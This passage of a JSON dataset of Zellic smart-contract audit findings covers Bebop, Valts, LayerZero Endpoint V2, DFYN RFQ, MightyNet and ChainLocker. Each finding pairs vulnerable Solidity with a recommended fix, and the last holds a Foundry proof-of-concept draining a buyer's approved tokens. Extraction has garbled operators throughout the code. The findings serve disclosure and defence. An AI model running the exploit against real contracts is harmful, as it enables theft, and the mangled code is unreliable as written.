invalidatorStorage[invalidatorSlot] = invalidator | invalidatorBit; } However, the specific nonce 0 will always pass this check. If the nonce 0 was chosen as the nonce to use, signature replay attacks could be possible, causing loss of funds for either a market maker or taker. Enforce that the nonce supplied is never 0. The issue has been fixed in commit e4aa345b. Zellic Bebop", + "html_url": "https://github.com/Zellic/publications/blob/master/Bebop - Zellic Audit Report.pdf" + }, + { + "title": "3.4 The signature may be too short", + "labels": [ + "Zellic" + ], + "body": "Target: bebop_aggregation_contract Category: Coding Mistakes Likelihood: Low Severity: Low : Low There are no checks on the signature length in the getRsv function. This function is responsible for extracting the r/s/v values from a signature. The function is defined as follows: function getRsv(bytes memory sig) internal pure returns (bytes32, bytes32, uint8) { bytes32 r; bytes32 s; uint8 v; assembly { r :) mload(add(sig, 32)) s :) mload(add(sig, 64)) v :) and(mload(add(sig, 65)), 255) } if (v < 27) v += 27; return (r, s, v); } In case the signature is shorter than 65 bytes, the r/s will be padded with zeroes, which could lead to undesired behavior. The impact of this issue is low, as the function is only used to extract the r/s/v values from a signature. The function is not used to verify the signature itself, which is done by the ecrecover function. We recommend adding a check that ensures the signature is 65 bytes long. Zellic Bebop function getRsv(bytes memory sig) internal pure returns (bytes32, bytes32, uint8) { require(sig.length >) 65, \u201cSignature too short\u201d); bytes32 r; bytes32 s; uint8 v; assembly { r :) mload(add(sig, 32)) s :) mload(add(sig, 64)) v :) and(mload(add(sig, 65)), 255) } if (v < 27) v += 27; return (r, s, v); } The issue has been fixed in commit ba4a5804. Zellic Bebop", + "html_url": "https://github.com/Zellic/publications/blob/master/Bebop - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Unnecessary use of the receive() function", + "labels": [ + "Zellic" + ], + "body": "Target: valts.sol Category: Coding Mistakes Likelihood: Low Severity: Low : Low The receive() function is typically used when the contract is supposed to receive ETH. In this case, the contract is expected not to receive any ETH, and for that reason, a revert is put in place so that it does not happen. receive () external payable { revert(); } We recommend removing the receive() function altogether, such that no ETH can be manually transferred by an EOA to the contract. The issue has been fixed in commit 2124d1a. Zellic Valts", + "html_url": "https://github.com/Zellic/publications/blob/master/Valts - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Inconsistent usage of modifiers", + "labels": [ + "Zellic" + ], + "body": "Target: valts.sol, Valts1155.sol Category: Coding Mistakes Likelihood: N/A Severity: Informational : N/A In wipeApproval, the onlyRole(OWNER_ROLE) can be enforced over the current require statement. function wipeApproval(ApprovalType approvalType, address to, uint256 amount) external { require(hasRole(OWNER_ROLE, msg.sender), \u201cOwner required\u201d); cleanupApproval(makeKey(approvalType, to, amount)); } We recommend using the onlyRole modifier. function wipeApproval(ApprovalType approvalType, address to, uint256 amount) external onlyRole(OWNER_ROLE) { cleanupApproval(makeKey(approvalType, to, amount)); } The issue has been fixed in commits 8bbb42b and 2124d1a. Zellic Valts", + "html_url": "https://github.com/Zellic/publications/blob/master/Valts - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Role checks are redundant", + "labels": [ + "Zellic" + ], + "body": "Target: Valts1155.sol Category: Coding Mistakes Likelihood: N/A Severity: Informational : N/A In remminter and addminter, there is a check on whether the account whose role is about to be changed actually has that role or not. The check does not need to be per- formed at the function level, since _revokeRole and _grantRole perform the necessary checks and reverts in the case those fail. function remminter(address account) external onlyRole(OWNER_ROLE) { require(hasRole(MINTER_ROLE, account), \u201cNot a minter\u201d); _revokeRole(MINTER_ROLE, account); } function addminter(address account) external onlyRole(OWNER_ROLE) { require(!hasRole(MINTER_ROLE, account), \u201cAlready a minter\u201d); _grantRole(MINTER_ROLE, account); } We recommend removing the require statements. function remminter(address account) external onlyRole(OWNER_ROLE) { _revokeRole(MINTER_ROLE, account); } function addminter(address account) external onlyRole(OWNER_ROLE) { _grantRole(MINTER_ROLE, account); } The issue has been fixed in commit 8bbb42b. Zellic Valts", + "html_url": "https://github.com/Zellic/publications/blob/master/Valts - Zellic Audit Report.pdf" + }, + { + "title": "4.1 Zero confirmations lead to arbitrary payload execution", + "labels": [ + "Zellic" + ], + "body": "Target: ReceiveUlnBase Category: Coding Mistakes Likelihood: High Severity: Critical : Critical The OApp can configure requiredConfirmations to 0 on the receiving side to allow quicker message delivery. This should be okay as long as the OApp understands the risk of 0 confirmation transactions. function _verified( address _dvn, bytes32 _headerHash, bytes32 _payloadHash, uint64 _requiredConfirmation ) internal returns (bool verified) { uint64 confirmations = hashLookup[_headerHash][_payloadHash][_dvn]; /) return true if the dvn has signed enough confirmations verified = confirmations >) _requiredConfirmation; delete hashLookup[_headerHash][_payloadHash][_dvn]; } There exists an edge case in _verified where the confirmations default to 0 on an empty slot, so the verified is always true. This would allow complete forgery of messages as every message would be consid- ered valid. We would recommend storing a flag along with confirmations in hashLookup. This would prevent the default value of 0 to be considered valid number of confirmations. Zellic LayerZero Labs This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 32981204. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.2 Overlapping DVNs may lead to unverifable messages", + "labels": [ + "Zellic" + ], + "body": "Target: ReceiveUlnBase Category: Coding Mistakes Likelihood: Low Severity: Medium : Low To optimize for gas refunds, confirmations are deleted from hashLookup after being read. function _verified( address _dvn, bytes32 _headerHash, bytes32 _payloadHash, uint64 _requiredConfirmation ) internal returns (bool verified) { uint64 confirmations = hashLookup[_headerHash][_payloadHash][_dvn]; /) return true if the dvn has signed enough confirmations verified = confirmations >) _requiredConfirmation; delete hashLookup[_headerHash][_payloadHash][_dvn]; } In the scenario where a DVN is part both the required DVNs and optional DVNs, the confirmations from the DVN will be falsely deleted before they\u2019re read. This will cause the DVNs confirmation to not count as part of the optional DVN threshold. Messages that should\u2019ve been verifiable are falsely not verified. We would recommend deleting the confirmations after the optional DVN lookup. This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 03244a85. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.3 Potential reentrancy in lzReceive function", + "labels": [ + "Zellic" + ], + "body": "Target: EndpointV2 Category: Coding Mistakes Likelihood: Low Severity: Low : Low The lzReceive function deletes the payload hash prior to executing a delivered mes- sage to the receiver, thereby mitigating the risk of a reentrancy attack. In instances where message delivery fails, the hash is reinstated for resending. Subsequently, an external call is made to refund the native fee to the caller. function lzReceive( Origin calldata _origin, address _receiver, bytes32 _guid, bytes calldata _message, bytes calldata _extraData ) external payable returns (bool success, bytes memory reason) { /) clear the payload first to prevent reentrancy, and then execute the message bytes32 payloadHash = _clearPayload(_origin, _receiver, abi.encodePacked(_guid, _message)); (success, reason) = _safeCallLzReceive(_origin, _receiver, _guid, _message, _extraData); if (success) { emit PacketReceived(_origin, _receiver); } else { /) if the message fails, revert the clearing of the payload _inbound(_origin, _receiver, payloadHash); /) refund the native fee if the message fails to prevent the loss of fund if (msg.value > 0) { (bool sent, ) = msg.sender.call{value: msg.value}(\u201d\u201d); require(sent, Errors.INVALID_STATE); } emit LzReceiveFailed(_origin, _receiver, reason); } Zellic LayerZero Labs } During this second external call, the caller may reenter and execute the message cor- rectly, as the payloadHash has been restored prior to this call. Initially, the PacketReceived event will be emitted following successful execution. However, the LzReceiveFailed event will also be emitted for the same packet within the same transaction, but in an incorrect order. Restore the hash after the external call: function lzReceive( Origin calldata _origin, address _receiver, bytes32 _guid, bytes calldata _message, bytes calldata _extraData ) external payable returns (bool success, bytes memory reason) { /) clear the payload first to prevent reentrancy, and then execute the message bytes32 payloadHash = _clearPayload(_origin, _receiver, abi.encodePacked(_guid, _message)); (success, reason) = _safeCallLzReceive(_origin, _receiver, _guid, _message, _extraData); if (success) { emit PacketReceived(_origin, _receiver); } else { /) if the message fails, revert the clearing of the payload _inbound(_origin, _receiver, payloadHash); /) refund the native fee if the message fails to prevent the loss of fund if (msg.value > 0) { (bool sent, ) = msg.sender.call{value: msg.value}(\u201d\u201d); require(sent, Errors.INVALID_STATE); } Zellic LayerZero Labs /) if the message fails, revert the clearing of the payload _inbound(_origin, _receiver, payloadHash); emit LzReceiveFailed(_origin, _receiver, reason); } } This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 6ce8d31c. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.4 Potential reentrancy in lzCompose function", + "labels": [ + "Zellic" + ], + "body": "Target: MessagingComposer Category: Coding Mistakes Likelihood: Low Severity: Low : Low The lzCompose function deletes the composed message hash prior to executing a mes- sage to the composer, thereby mitigating the risk of a reentrancy attack. In instances where message delivery fails, the hash is reinstated for resending. Subsequently, an external call is made to refund the native fee to the caller. function lzCompose( address _sender, address _composer, bytes32 _guid, bytes calldata _message, bytes calldata _extraData ) external payable returns (bool success, bytes memory reason) { ...)) composedMessages[_sender][_composer][_guid] = _RECEIVED_MESSAGE_HASH; { bytes memory callData = abi.encodeWithSelector( ILayerZeroComposer.lzCompose.selector, _sender, _guid, _message, msg.sender, _extraData ); (success, reason) = _composer.safeCall(gasleft(), msg.value, callData); } if (success) { emit ComposedMessageReceived(_sender, _composer, _guid, expectedHash, msg.sender); } else { /) if the message fails, revert the state composedMessages[_sender][_composer][_guid] = expectedHash; Zellic LayerZero Labs /) refund the native fee if the message fails to prevent the loss of fund if (msg.value > 0) { (bool sent, ) = msg.sender.call{value: msg.value}(\u201d\u201d); require(sent, Errors.INVALID_STATE); } emit LzComposeFailed(_sender, _composer, _guid, expectedHash, msg.sender, reason); } } } During this second external call, the caller may reenter and execute the message cor- rectly, as the composedMessages has been restored prior to this call. Initially, the ComposedMessageReceived event will be emitted following successful exe- cution. However, the LzComposeFailed event will also be emitted for the same packet within the same transaction, but in an incorrect order. Restore the hash after the external call: function lzCompose( address _sender, address _composer, bytes32 _guid, bytes calldata _message, bytes calldata _extraData ) external payable returns (bool success, bytes memory reason) { ...)) composedMessages[_sender][_composer][_guid] = _RECEIVED_MESSAGE_HASH; ...)) if (success) { emit ComposedMessageReceived(_sender, _composer, _guid, expectedHash, msg.sender); } else { /) if the message fails, revert the state Zellic LayerZero Labs composedMessages[_sender][_composer][_guid] = expectedHash; /) refund the native fee if the message fails to prevent the loss of fund if (msg.value > 0) { (bool sent, ) = msg.sender.call{value: msg.value}(\u201d\u201d); require(sent, Errors.INVALID_STATE); } /) if the message fails, revert the state composedMessages[_sender][_composer][_guid] = expectedHash; emit LzComposeFailed(_sender, _composer, _guid, expectedHash, msg.sender, reason); } } } This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 6ce8d31c. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.5 Potential replay across chains", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Business Logic Likelihood: Low Severity: Low : Low As LayerZero is a cross-chain application, VerifierNetwork might be deployed across multiple chains. There exists a possibility of message replay if signers are shared be- tween multiple instances of VerifierNetwork. This is because there is no unique iden- tifier pinning the VerifierNetwork the message can be executed at. A message can be replayed between instances of VerifierNetwork if the signers/quo- rum is shared. As the signed message includes the target address, calls to onlySelf(orAdmin) func- tions cannot be replayed. Furthermore, calls to ULN functions such as verify would not be useful to an attacker as well. Add an identifier to VerifierNetwork that is checked as part of the signature. LayerZero labs acknowled the issue and has fixed it in commit 175c08bd Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.6 Re-execution of instructions is blocked if a signature verifi- cation failed", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Business Logic Likelihood: Medium Severity: Medium : Medium The execute function is designed to process a sequence of instructions, executing them in the specified order. If any instruction fail during this process, the function will emit the ExecuteFailed event and proceed with the execution of the next instruc- tions. The usedHashes array is used to prevent reentrancy and replay attacks. If the hash of an instruction is identified as already used during the execution process, the HashAlreadyUsed event is emitted, and the function moves on to the next instruction. In cases where the hash is not previously marked as used, it will be marked and sig- nature verification will be conducted. Upon successful verification, an external call is initiated to execute it. But the execution of an instruction fails, usedHashes is reset, allowing for the possibility of re-execution. However, if signature validation fails, the instruction is still marked as used. Consequently, instructions that are marked as used but fail signature validation are blocked from being re-attempted for execution. function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) { for (uint i = 0; i < _params.length; +)i) { ExecuteParam calldata param = _params[i]; ...)) /) 2. skip if hash used bool shouldCheckHash = _shouldCheckHash(bytes4(param.callData)); if (shouldCheckHash) { if (usedHashes[hash]) { emit HashAlreadyUsed(param, hash); continue; Zellic LayerZero Labs } else { usedHashes[hash] = true; /) prevent reentry and replay attack } } /) 3. check signatures if (verifySignatures(hash, param.signatures)) { /) execute call data (bool success, bytes memory rtnData) = param.target.call(param.callData); if (!success) { if (shouldCheckHash) { usedHashes[hash] = false; emit ExecuteFailed(i, rtnData); } } } else { if (shouldCheckHash) { usedHashes[hash] = false; } emit VerifySignaturesFailed(i); } } } This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 3bb3e16d. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.7 SafeCall does not check that target is contract", + "labels": [ + "Zellic" + ], + "body": "Target: SafeCall Category: Business Logic Likelihood: Low Severity: Medium : Medium The function safeCall is used to call the _target contract with a specified gas limit and value and captures the return data. But at the same time, there is no verification that the address is really a contract. If the _target address is not a contract, the call will be successful although the function call has not actually been made. We recommend adding a check that ensures the _target has a code. function safeCall( address _target, uint256 _gas, uint256 _value, bytes memory _calldata ) internal returns (bool, bytes memory) { uint size; assembly { size :) extcodesize(_target) } if (size =) 0) { return (false, bytes(string(\u201dno code!\u201d))); } /) set up for assembly call uint256 _toCopy; bool _success; ...)) } Zellic LayerZero Labs This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 0d04db22. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.8 Potential reentrancy through execute function", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The execute function takes an array of ExecuteParam. For each of the parameters, it verifies the signatures, executes the callData, and stores its hash (if the call is suc- cessful) to prevent replay: /) 2. skip if hash used bool shouldCheckHash = _shouldCheckHash(bytes4(param.callData)); if (shouldCheckHash &) usedHashes[hash]) { emit HashAlreadyUsed(param, hash); continue; } /) 3. check signatures if (verifySignatures(hash, param.signatures)) { /) execute call data (bool success, bytes memory rtnData) = param.target.call(param.callData); if (success) { if (shouldCheckHash) { /) store usedHash only on success usedHashes[hash] = true; /) prevent reentry and replay attack } } else { emit ExecuteFailed(i, rtnData); } } The call can be made more than once for one signature if the execute function reenters during the external call since the hash is not stored before the external call. Though unlikely to be exploited, there is the potential for unexpected behavior be- cause the function does not sufficiently prevent reentrancy attacks. Zellic LayerZero Labs Store the hash before the external call: /) 2. skip if hash used bool shouldCheckHash = _shouldCheckHash(bytes4(param.callData)); if (shouldCheckHash &) usedHashes[hash]) { emit HashAlreadyUsed(param, hash); continue; } /) 3. check signatures if (verifySignatures(hash, param.signatures)) { usedHashes[hash] = shouldCheckHash; /) prevent reentry and replay /) execute call data (bool success, bytes memory rtnData) = param.target.call(param.callData); if (success) { if (shouldCheckHash) { /) store usedHash only on success usedHashes[hash] = true; /) prevent reentry and replay attack } } else { if (!success) { delete usedHashes[hash]; emit ExecuteFailed(i, rtnData); } } This issue has been acknowledged by LayerZero Labs. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.9 UlnConfig inconsistencies", + "labels": [ + "Zellic" + ], + "body": "Target: UlnConfig Category: Coding Mistakes Likelihood: Low Severity: Medium : Low There are a few inconsistencies in the UlnConfig code: For CONFIG_TYPE_VERIFIERS and CONFIG_TYPE_OPTIONAL_VERIFIERS, the config- setting code should only do assertions and assignments if !useCustomVerifiers or !useCustomOptionalVerifiers, respectively; otherwise, there are odd situa- tions where, for example, a specific custom verifiers config cannot be set be- cause UlnConfig thinks the custom optional verifiers will be used in the config, when in reality useCustomOptionalVerifiers is false. The _assertNoDuplicates function would be more useful if it would also assert no collisions between verifiers and optional verifiers (i.e., that there is no inter- section). More importantly, there is also a situation where there could be zero \u2014 or greater than the max uint8 \u2014 (required and optional) verifiers configured: \u2013 config.useCustomVerifiers = true \u2013 config.verifierCount = 0 \u2013 config.optionalVerifierThreshold = 1 \u2013 config.useCustomOptionalVerifiers = false \u2013 defaultConfig.optionalVerifierCount = 0 \u2013 other specific values required to set the above config This is due to the following code: function _assertVerifierList(uint32 _remoteEid, address _oapp) internal view { UlnConfigStruct memory config = getUlnConfig(_oapp, _remoteEid); /) it is possible for sender to configure nil verifiers require(config.verifierCount > 0 |) config.optionalVerifierThreshold > 0, Zellic LayerZero Labs Errors.VERIFIERS_UNAVAILABLE); /) verifier options restricts total verifiers to 255 require(config.verifierCount + config.optionalVerifierCount <) type(uint8).max, Errors.INVALID_SIZE); } It is possible to set invalid configuration in certain edge cases that may allow a mes- sage to pass with no confirmations. This situation is only achievable if both the admin and OApp independently configure specific values as the OApp and default configu- rations. Enforce function requirements during the getUlnConfig call. Then, call getUlnConfig() after changing any configurations. This issue has been acknowledged by LayerZero Labs, and a fix was implemented in commit 3dfec105. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.10 Signature verification ecrecover is missing error condition check", + "labels": [ + "Zellic" + ], + "body": "Target: MultiSig, MultiSigUpgradeable Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The ecrecover call in the following function recovers the signer adress from the sig- nature components: function verifySignatures(bytes32 _hash, bytes calldata _signatures) public view returns (bool) { if (_signatures.length !) uint(quorum) * 65) { return false; } bytes32 messageDigest = _getEthSignedMessageHash(_hash); address lastSigner = address(0); /) There cannot be a signer with address 0. for (uint i = 0; i < quorum; i+)) { (uint8 v, bytes32 r, bytes32 s) = _splitSignature(_signatures, i); address currentSigner = ecrecover(messageDigest, v, r, s); if (currentSigner <) lastSigner) return false; /) prevent duplicate signatures if (!signers[currentSigner]) return false; /) signature is not from a signer lastSigner = currentSigner; } return true; } Per the Solidity documentation, the ecrecover built-in function returns zero on error: ... recover the address associated with the public key from elliptic curve signature or return zero on error. Zellic LayerZero Labs The duplicate signer check ensures zero is not a valid signer address. However, the error condition is not explicitly checked. We recommend checking the return value to ensure it is nonzero. /) [...))] address lastSigner = address(0); /) There cannot be a signer with address 0. for (uint i = 0; i < quorum; i+)) { (uint8 v, bytes32 r, bytes32 s) = _splitSignature(_signatures, i); address currentSigner = ecrecover(messageDigest, v, r, s); require(currentSigner !) 0); if (currentSigner <) lastSigner) return false; /) prevent duplicate signatures if (!signers[currentSigner]) return false; /) signature is not from a signer lastSigner = currentSigner; } /) [...))] This issue has been acknowledged by LayerZero Labs. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "4.11 Unnecessary caller restriction on execute function", + "labels": [ + "Zellic" + ], + "body": "Target: VerifierNetwork Category: Business Logic Likelihood: Low Severity: Medium : Low The execute function restricts the caller to those with the admin role only: function execute(ExecuteParam[] calldata _params) external onlyRole(ADMIN_ROLE) { for (uint i = 0; i < _params.length; +)i) { ExecuteParam calldata param = _params[i]; /) 1. skip if expired if (param.expiration <) block.timestamp) { continue; } /) generate and validate hash bytes32 hash = hashCallData(param.target, param.callData, param.expiration); /) 2. skip if hash used bool shouldCheckHash = _shouldCheckHash(bytes4(param.callData)); if (shouldCheckHash &) usedHashes[hash]) { emit HashAlreadyUsed(param, hash); continue; } /) 3. check signatures if (verifySignatures(hash, param.signatures)) { /) execute call data (bool success, bytes memory rtnData) = param.target.call(param.callData); if (success) { if (shouldCheckHash) { /) store usedHash only on success usedHashes[hash] = true; /) prevent reentry and replay attack } } else { emit ExecuteFailed(i, rtnData); } Zellic LayerZero Labs } } } However, this restriction is unnecessary because the function requires a quorum of valid signatures. If an admin were to fail to call the execute function for any reason, the ULN would not deliver any messages to the endpoint, even if all of the signers were online. The function should be able to be called permissionlessly to ensure the signatures may always be submitted. This issue has been acknowledged by LayerZero Labs. Zellic LayerZero Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/LayerZero Endpoint V2 - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Same token swap is allowed", + "labels": [ + "Zellic" + ], + "body": "Target: DfynRFQ Category: Business Logic Likelihood: Medium Severity: Low : Low A user might mistakenly perform a same-token swap via the protocol, since there are no restrictions against that. In function _swap() there are no checks whatsoever for whether the tokens[0] and tokens[1] are identical. function _swap( address custodian, address[] calldata tokens, uint256[] calldata amounts, uint64 deadline, bytes calldata signature ) internal onlyWhitelisted(custodian) returns (bool) { Swap memory swap = Swap({ user: msg.sender, custodian: custodian, token0: tokens[0], token1: tokens[1], amount0: amounts[0], amount1: amounts[1], deadline: deadline, nonce: nonces[msg.sender], chainId: chainId }); require(block.timestamp < swap.deadline, \u201cExpired Order\u201d); require(verify(swap, signature), \u201cInvalid Signer\u201d); require(swap.amount1 > 0 &) swap.amount0 > 0, \u201camount !) 0\u201d); Zellic Router Protocol This can lead to loss of the gas cost used in the transaction, as well as the tokens lost to protocol fees, all due to an undesireable action performed by the user in the first place. We recommend adding an additional check when performing a swap, such that the tokens on either side of the swap are not the same. function _swap( address custodian, address[] calldata tokens, uint256[] calldata amounts, uint64 deadline, bytes calldata signature ) internal onlyWhitelisted(custodian) returns (bool) { require(tokens[0] !) tokens[1], \u201cSame token swap is disallowed\u201d); Swap memory swap = Swap({ user: msg.sender, custodian: custodian, token0: tokens[0], token1: tokens[1], amount0: amounts[0], amount1: amounts[1], deadline: deadline, nonce: nonces[msg.sender], chainId: chainId }); require(block.timestamp < swap.deadline, \u201cExpired Order\u201d); require(verify(swap, signature), \u201cInvalid Signer\u201d); require(swap.amount1 > 0 &) swap.amount0 > 0, \u201camount !) 0\u201d); This issue has been acknowledged by the Router team and mitigated in commit 3be1183. Zellic Router Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/DFYN RFQ - Zellic Audit Report.pdf" + }, + { + "title": "3.2 DfynRFQ provides a function to renounce ownership", + "labels": [ + "Zellic" + ], + "body": "Target: DfynRFQ Category: Business Logic Likelihood: N/A Severity: Informational : Informational The DfynRFQ contract implements Ownable functionality, which provides a method named renounceOwnership that removes the current owner. This is likely not a de- sired feature. If renounceOwnership were called, the contract would be left without an owner. Override the renounceOwnership function: function renounceOwnership() public override onlyOwner{ revert(\u201cThis feature is not available.\u201d); } This issue has been mitigated by the Router team in commit 3be1183. Zellic Router Protocol", + "html_url": "https://github.com/Zellic/publications/blob/master/DFYN RFQ - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Risk of unintended token minting", + "labels": [ + "Zellic" + ], + "body": "Target: MightyNetERC1155Claimer Category: Business Logic Likelihood: Medium Severity: High : High The leaf nodes of the Merkle tree contain only the user addresses and do not include the tokenId or the address of mnERC1155 to be minted. As a result, a user can potentially use a Merkle proof expected for minting tokens with tokenId x to mint tokens with t okenId y, or even mint tokens on an entirely different mnERC1155 contract. Here is an example. In this scenario, we will consider tokenId y to be more valuable than tokenId x, and the claimWhitelist array contains a Merkle root where the user is eligible to mint n number of tokens with tokenId x. The potential issue arises from the fact that even though it might be expected for the user to call claim using the correct Merkle proof to mint their x tokens, they might choose not to do so and instead wait for the admin to change the tokenId using the function setTokenId. If the admin later changes the tokenId from x to y, the user can now simply call claim to claim n number of y tokens instead of x tokens. This behavior could lead to unintended economic consequences, as the user could take advantage of the situation to obtain more valuable y tokens rather than the orig- inally intended x tokens. If either setTokenId or setMightyNetERC1155Address is called to change the tokenId or m nERC1155 address before all the tokens are claimed, and the claimWhitelist is not fully cleared out, it could potentially result in the minting of different tokens than originally expected. To address this issue, it is recommended to ensure that claimWhitelist is completely cleared out before invoking setTokenId or setMightyNetERC1155Address. By doing so, any potential misuse of old Merkle proofs to mint new tokens can be prevented. Al- ternatively, you can consider including the tokenId and the address of ERC-1155 in the Zellic Mighty Bear Games Merkle trees, which can also help mitigate the problem. This issue has been acknowledged by Mighty Bear Games. Mighty Bear Games provided the following response: We acknowledge the concerns related to the possibility of unintended token minting. However, it\u2019s important to note that this contract is designed for a spe- cific use case, where only one item from one collection can be claimed. We assure you that we will not reuse the same contract for multiple claim or mint events. Instead, for each new event, a fresh contract will be deployed. The reason for implementing the SetTokenId function is to maximize flexibility in case we encounter any misconfigurations or issues after deployment. Should any problems arise, we will be able to pause the contract, make the necessary adjustments, and then resume its functionality. Zellic Mighty Bear Games", + "html_url": "https://github.com/Zellic/publications/blob/master/MightyNetERC1155Claimer - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Possible DOS while claiming ERC-1155", + "labels": [ + "Zellic" + ], + "body": "Target: MightyNetERC1155Claimer Category: Business Logic Likelihood: Medium Severity: Medium : Medium The claimWhitelist array stores the MerkleProofWhitelist struct containing the root hash of the Merkle tree. Each element in the array corresponds to a specific number of claimable tokens, and the Merkle tree contains addresses eligible to mint that number of tokens. If this array is large enough, the users that have a large amount of claimable tokens would need to spend too much gas to claim their tokens or the function claim might entirely revert for them due to exceeding the gas limit, as the code loops through the dynamic array. function claim(bytes32[] calldata merkleProof){ ...)) uint256 size = claimWhitelist.length; bool whitelisted = false; uint256 toMint = 0; for (; toMint < size; +)toMint) { if (claimWhitelist[toMint].isWhitelisted(msg.sender, merkleProof)) { whitelisted = true; break; } } ...)) } The transaction might fail if the claimWhitelist array becomes too large and the gas exceeds the maximum gas limit. Additionally, users with a substantial number of claimable tokens would be required to spend a significant amount of gas to exe- cute the transaction successfully. This gas consumption can become burdensome for users with a large number of tokens to claim. Zellic Mighty Bear Games Consider modifying the claim function to accept the mint amount as an argument and use it directly to calculate the array index where isWhitelisted should be called. This adjustment can improve the efficiency of the function and avoid unnecessary itera- tions through the claimWhitelist array, especially in scenarios with a large number of claimable tokens. This issue has been acknowledged by Mighty Bear Games. Mighty Bear Games provided the following response: We have assessed the gas costs associated with claiming different amounts of ERC-1155 tokens, and our findings indicate that the increase in cost follows a lin- ear pattern. We have taken this into consideration while designing the claiming process. Additionally, it is important to note that we have set a limit on the max- imum number of tokens that can be claimed to just 3. Zellic Mighty Bear Games", + "html_url": "https://github.com/Zellic/publications/blob/master/MightyNetERC1155Claimer - Zellic Audit Report.pdf" + }, + { + "title": "3.1 Potential funds loss for buyers upon approval", + "labels": [ + "Zellic" + ], + "body": "Target: TokenLocker Category: Business Logic Likelihood: High Severity: Critical : Critical When depositing tokens into the TokenLocker contract, it is essential for the buyer to grant approval beforehand to the TokenLocker contract, a step necessary for invoking the depositTokens function. The function depositTokens takes in an address _deposit or and transfers the tokens from this _depositor address to the TokenLocker contract. function depositTokens( address _depositor, uint256 _amount ) external nonReentrant { uint256 _balance = erc20.balanceOf(address(this)) + _amount; if (_balance > totalAmount) revert TokenLocker_BalanceExceedsTotalAmount(); if (!openOffer &) _depositor !) buyer) revert TokenLocker_NotBuyer(); if (erc20.allowance(_depositor, address(this)) < _amount) revert TokenLocker_AmountNotApprovedForTransferFrom(); if (expirationTime <) block.timestamp) revert TokenLocker_IsExpired(); if (_balance >) deposit &) !deposited) { /) if this TokenLocker is an open offer and was not yet accepted (thus '!deposited'), make depositing address the 'buyer' and update 'deposited' to true if (openOffer) { buyer = _depositor; emit TokenLocker_BuyerUpdated(_depositor); } deposited = true; emit TokenLocker_DepositInEscrow(_depositor); Zellic ChainLocker LLC } if (_balance =) totalAmount) emit TokenLocker_TotalAmountInEscrow(); emit TokenLocker_AmountReceived(_amount); amountDeposited[_depositor] += _amount; safeTransferFrom(tokenContract, _depositor, address(this), _amount); } This situation opens a potential vulnerability. Under certain circumstances, a seller could be enticed to exploit this loophole. They might opt to trigger the depositToke ns function using the buyer\u2019s address, assuming that the buyer had already granted approval to the TokenLocker contract. The vulnerability can be demonstrated using the following Foundry test code: function testtokenstealfrombuyer() public{ vm.label(buyer,\u201dbuyer\u201d); vm.label(seller,\u201dseller\u201d); testToken.mintToken(buyer, 20 ether); testToken.mintToken(seller, 1); console.log(\u201dBalance of buyer before attack\u201d,testToken.balanceOf(address(buyer))); console.log(\u201dBalance of seller before attack\u201d,testToken.balanceOf(address(seller))); openEscrowTest = new TokenLocker( true, true, 0, 0, 0, 10 ether, 20 ether, expirationTime, seller, buyer, testTokenAddr, address(0) ); Zellic ChainLocker LLC vm.prank(buyer); testToken.approve(address(openEscrowTest), 20 ether); vm.startPrank(seller); openEscrowTest.depositTokens(address(buyer),openEscrowTest.deposit() - 1); testToken.approve(address(openEscrowTest), 1); openEscrowTest.depositTokens(address(seller),1); openEscrowTest.depositTokens(address(buyer),openEscrowTest.totalAmount() - openEscrowTest.deposit()); vm.stopPrank(); vm.warp(block.timestamp + expirationTime); openEscrowTest.checkIfExpired(); console.log(\u201dBalance of buyer after attack\u201d,testToken.balanceOf(address(buyer))); console.log(\u201dBalance of seller after attack\u201d,testToken.balanceOf(address(seller))); } Sellers might be able to steal tokens from the buyers in case approval to the Token- Locker contract is provided. It is recommended to check if msg.sender is actually the _depositor in the depositTok ens call. ChainLocker LLC acknowledged this finding and implemented a fix in commit 8af9f1e6 Zellic ChainLocker LLC", + "html_url": "https://github.com/Zellic/publications/blob/master/ChainLocker - 